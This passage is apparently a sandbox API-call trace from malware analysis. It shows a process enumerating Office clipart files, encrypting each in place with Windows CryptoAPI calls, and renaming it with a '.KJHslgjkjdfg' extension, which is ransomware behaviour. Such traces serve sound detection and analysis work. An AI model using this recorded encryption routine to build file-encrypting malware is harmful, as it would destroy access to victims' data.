hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe2e9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0227558.JPG", cAlternateFileName="")) returned 1 [0199.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.199] GetProcessHeap () returned 0x990000 [0199.199] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.199] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.199] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.200] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x7, lpOverlapped=0x0) returned 1 [0199.202] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.202] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.202] GetProcessHeap () returned 0x990000 [0199.202] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.202] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.202] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.202] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.202] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.202] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.203] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.203] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.203] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.203] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.203] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe2e9, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe2e9, lpOverlapped=0x0) returned 1 [0199.205] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe2f0, dwBufLen=0xe2f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe2f0) returned 1 [0199.206] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.206] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe2f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe2f0, lpOverlapped=0x0) returned 1 [0199.206] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.206] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.206] SetEndOfFile (hFile=0x130) returned 1 [0199.209] GetProcessHeap () returned 0x990000 [0199.209] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.209] GetProcessHeap () returned 0x990000 [0199.209] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.209] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg.kjhslgjkjdfg")) returned 1 [0199.211] CloseHandle (hObject=0x130) returned 1 [0199.211] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaccb1700, ftCreationTime.dwHighDateTime=0x1be8602, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaccb1700, ftLastWriteTime.dwHighDateTime=0x1be8602, nFileSizeHigh=0x0, nFileSizeLow=0x65a6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0228823.WMF", cAlternateFileName="")) returned 1 [0199.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.212] GetProcessHeap () returned 0x990000 [0199.212] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.212] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.212] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0199.215] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.215] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.215] GetProcessHeap () returned 0x990000 [0199.215] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.215] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.215] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.215] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.215] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.215] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.215] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.216] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.216] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.216] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.216] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.216] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.216] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x65a6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x65a6, lpOverlapped=0x0) returned 1 [0199.217] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x65b0, dwBufLen=0x65b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x65b0) returned 1 [0199.218] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.218] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x65b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x65b0, lpOverlapped=0x0) returned 1 [0199.218] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.218] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.218] SetEndOfFile (hFile=0x130) returned 1 [0199.221] GetProcessHeap () returned 0x990000 [0199.221] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.221] GetProcessHeap () returned 0x990000 [0199.221] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.221] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf.kjhslgjkjdfg")) returned 1 [0199.223] CloseHandle (hObject=0x130) returned 1 [0199.223] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x918c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0228959.WMF", cAlternateFileName="")) returned 1 [0199.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.225] GetProcessHeap () returned 0x990000 [0199.225] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.225] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.225] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.226] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.227] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.227] GetProcessHeap () returned 0x990000 [0199.227] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.227] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.227] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.227] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.227] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.227] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.227] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.227] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.227] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.227] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.228] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.228] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.228] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x918c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x918c, lpOverlapped=0x0) returned 1 [0199.229] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9190, dwBufLen=0x9190 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9190) returned 1 [0199.230] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.230] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9190, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9190, lpOverlapped=0x0) returned 1 [0199.230] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.230] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.230] SetEndOfFile (hFile=0x130) returned 1 [0199.232] GetProcessHeap () returned 0x990000 [0199.232] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.232] GetProcessHeap () returned 0x990000 [0199.232] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.232] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf.kjhslgjkjdfg")) returned 1 [0199.234] CloseHandle (hObject=0x130) returned 1 [0199.234] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1daa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0230553.WMF", cAlternateFileName="")) returned 1 [0199.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.236] GetProcessHeap () returned 0x990000 [0199.236] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.236] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.236] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0199.238] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.238] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.238] GetProcessHeap () returned 0x990000 [0199.238] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.238] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.238] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.238] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.238] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.238] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.238] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.238] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.238] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.239] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.239] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.239] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.239] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1daa, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1daa, lpOverlapped=0x0) returned 1 [0199.240] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1db0, dwBufLen=0x1db0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1db0) returned 1 [0199.240] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.240] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1db0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1db0, lpOverlapped=0x0) returned 1 [0199.240] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.240] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.240] SetEndOfFile (hFile=0x130) returned 1 [0199.242] GetProcessHeap () returned 0x990000 [0199.242] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.242] GetProcessHeap () returned 0x990000 [0199.242] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.242] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf.kjhslgjkjdfg")) returned 1 [0199.243] CloseHandle (hObject=0x130) returned 1 [0199.243] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1066, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0230558.WMF", cAlternateFileName="")) returned 1 [0199.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.244] GetProcessHeap () returned 0x990000 [0199.244] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.244] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.244] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.245] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0199.247] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, 